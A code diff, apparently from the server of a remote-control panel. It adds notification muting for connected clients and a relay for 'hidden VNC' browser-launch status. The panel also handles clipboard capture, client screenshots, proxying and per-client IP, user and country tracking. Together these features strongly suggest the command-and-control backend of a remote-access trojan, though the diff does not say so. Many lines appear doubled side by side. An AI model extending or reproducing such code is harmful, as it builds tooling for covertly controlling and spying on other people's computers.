import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers"; import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation"; import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
import { ClientInfo, ClientRole } from "./types"; import { ClientInfo, ClientRole } from "./types";
@@ -95,6 +95,7 @@ import {
handleHVNCBrowserCheckResult, handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult, handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus, handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleClipboardContent, handleClipboardContent,
handleWebrtcP2PAnswer, handleWebrtcP2PAnswer,
handleWebrtcP2PIce, handleWebrtcP2PIce,
@@ -339,6 +340,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
getNotificationConfig, getNotificationConfig,
canUserAccessClient: canUserAccessClient as (userId: number, userRole: string, clientId: string) => boolean, canUserAccessClient: canUserAccessClient as (userId: number, userRole: string, clientId: string) => boolean,
getUserRole: (userId: number) => getUserById(userId)?.role, getUserRole: (userId: number) => getUserById(userId)?.role,
isClientNotificationsMuted,
storeNotificationScreenshot: storeNotificationScreenshotForPending, storeNotificationScreenshot: storeNotificationScreenshotForPending,
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord, deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
forwardPluginEventToRuntime: (clientId, pluginId, event, payload) => forwardPluginEventToRuntime: (clientId, pluginId, event, payload) =>
@@ -677,6 +679,7 @@ async function startServer() {
handleHVNCBrowserCheckResult, handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult, handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus, handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleClipboardContent, handleClipboardContent,
handleWebrtcP2PAnswer, handleWebrtcP2PAnswer,
handleWebrtcP2PIce, handleWebrtcP2PIce,
@@ -15,6 +15,7 @@ import {
listDistinctCountries, listDistinctCountries,
setClientBookmark, setClientBookmark,
setClientNickname, setClientNickname,
setClientNotificationsMuted,
setClientTag, setClientTag,
setOnlineState, setOnlineState,
unbanIp, unbanIp,
@@ -472,6 +473,83 @@ export async function handleClientRoutes(
); );
} }
if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-notifications-muted") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try { body = await req.json(); } catch {
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
}
const clientIds = body?.clientIds;
if (!Array.isArray(clientIds) || clientIds.length === 0 || clientIds.some((id: any) => typeof id !== "string")) {
return Response.json({ error: "clientIds must be a non-empty array of strings" }, { status: 400 });
}
if (clientIds.length > 500) {
return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
}
const muted = !!body?.muted;
let updated = 0;
for (const cid of clientIds) {
if (!canUserAccessClient(user.userId, user.role, cid)) continue;
if (setClientNotificationsMuted(cid, muted)) updated++;
}
notifyDashboardViewers();
const ip = server.requestIP(req)?.address || "unknown";
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `bulk_set_notifications_muted:${muted}:${updated}/${clientIds.length}`, success: true });
return Response.json({ ok: true, updated, total: clientIds.length, muted }, { headers: deps.CORS_HEADERS });
}
const muteMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/notifications-muted$/);
if (req.method === "PATCH" && muteMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = muteMatch[1];
if (!canUserAccessClient(user.userId, user.role, targetId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
if (!clientExists(targetId)) {
return Response.json({ error: "Client not found" }, { status: 404 });
}
let body: any = {};
try { body = await req.json(); } catch {
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
}
const muted = !!body?.muted;
const updated = setClientNotificationsMuted(targetId, muted);
if (!updated) {
return Response.json({ error: "Client not found" }, { status: 404 });
}
notifyDashboardViewers();
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
details: muted ? "mute_notifications" : "unmute_notifications",
success: true,
});
return Response.json({ ok: true, muted }, { headers: deps.CORS_HEADERS });
}
const bookmarkMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/bookmark$/); const bookmarkMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/bookmark$/);
if (req.method === "PATCH" && bookmarkMatch) { if (req.method === "PATCH" && bookmarkMatch) {
const user = await authenticateRequest(req); const user = await authenticateRequest(req);
@@ -156,6 +156,7 @@ type WsLifecycleDeps = {
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void; handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void; handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void; handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void; handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void; handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void; handleWebrtcP2PIce: (clientId: string, payload: any) => void;
@@ -723,6 +724,9 @@ export async function handleWebSocketMessage(
case "hvnc_dxgi_status": case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload); deps.handleHVNCDXGIStatus(client.id, payload);
break; break;
case "hvnc_browser_launch_status":
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
break;
case "clipboard_content": case "clipboard_content":
deps.handleClipboardContent(client.id, payload); deps.handleClipboardContent(client.id, payload);
break; break;
@@ -795,6 +795,18 @@ export function handleHVNCDXGIStatus(clientId: string, payload: any) {
} }
} }
export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_browser_launch_status",
browser: String(payload.browser || ""),
step: String(payload.step || ""),
success: !!payload.success,
detail: String(payload.detail || ""),
});
}
}
export function handleClipboardContent(clientId: string, payload: any) { export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || ""); const text = String(payload.text || "");
const source = String(payload.source || ""); const source = String(payload.source || "");
@@ -57,6 +57,7 @@ type CreateDeps = {
getNotificationConfig: () => NotificationConfigShape; getNotificationConfig: () => NotificationConfigShape;
canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean; canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean;
getUserRole: (userId: number) => string | undefined; getUserRole: (userId: number) => string | undefined;
isClientNotificationsMuted: (clientId: string) => boolean;
storeNotificationScreenshot: ( storeNotificationScreenshot: (
pending: PendingNotificationScreenshot, pending: PendingNotificationScreenshot,
bytes: Uint8Array, bytes: Uint8Array,
@@ -284,8 +285,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
saveNotification(record); saveNotification(record);
const muted = deps.isClientNotificationsMuted(clientId);
requestNotificationScreenshot(info, record); requestNotificationScreenshot(info, record);
if (muted) {
return;
}
for (const session of sessionManager.getAllNotificationSessions().values()) { for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? ""; const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
const sUserId = session.userId ?? session.viewer.data.userId; const sUserId = session.userId ?? session.viewer.data.userId;
@@ -359,6 +366,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
event: "client_online" | "client_offline" | "client_purgatory", event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string }, info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
) { ) {
if (deps.isClientNotificationsMuted(info.id)) {
return;
}
const item = { type: "client_event", event, clientId: info.id, host: info.host, user: info.user, os: info.os, ip: info.ip, country: info.country, ts: Date.now() }; const item = { type: "client_event", event, clientId: info.id, host: info.host, user: info.user, os: info.os, ip: info.ip, country: info.country, ts: Date.now() };
for (const session of sessionManager.getAllNotificationSessions().values()) { for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? ""; const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
+1
View File
@@ -50,6 +50,7 @@ export type ClientInfo = {
groupId?: number | null; groupId?: number | null;
groupName?: string | null; groupName?: string | null;
groupColor?: string | null; groupColor?: string | null;
notificationsMuted?: boolean;
}; };
export type ListFilters = { export type ListFilters = {
+1
View File
@@ -33,6 +33,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"hvnc_browser_check_result", "hvnc_browser_check_result",
"hvnc_installed_apps_result", "hvnc_installed_apps_result",
"hvnc_dxgi_status", "hvnc_dxgi_status",
"hvnc_browser_launch_status",
"clipboard_content", "clipboard_content",
"proxy_data", "proxy_data",
"proxy_close", "proxy_close",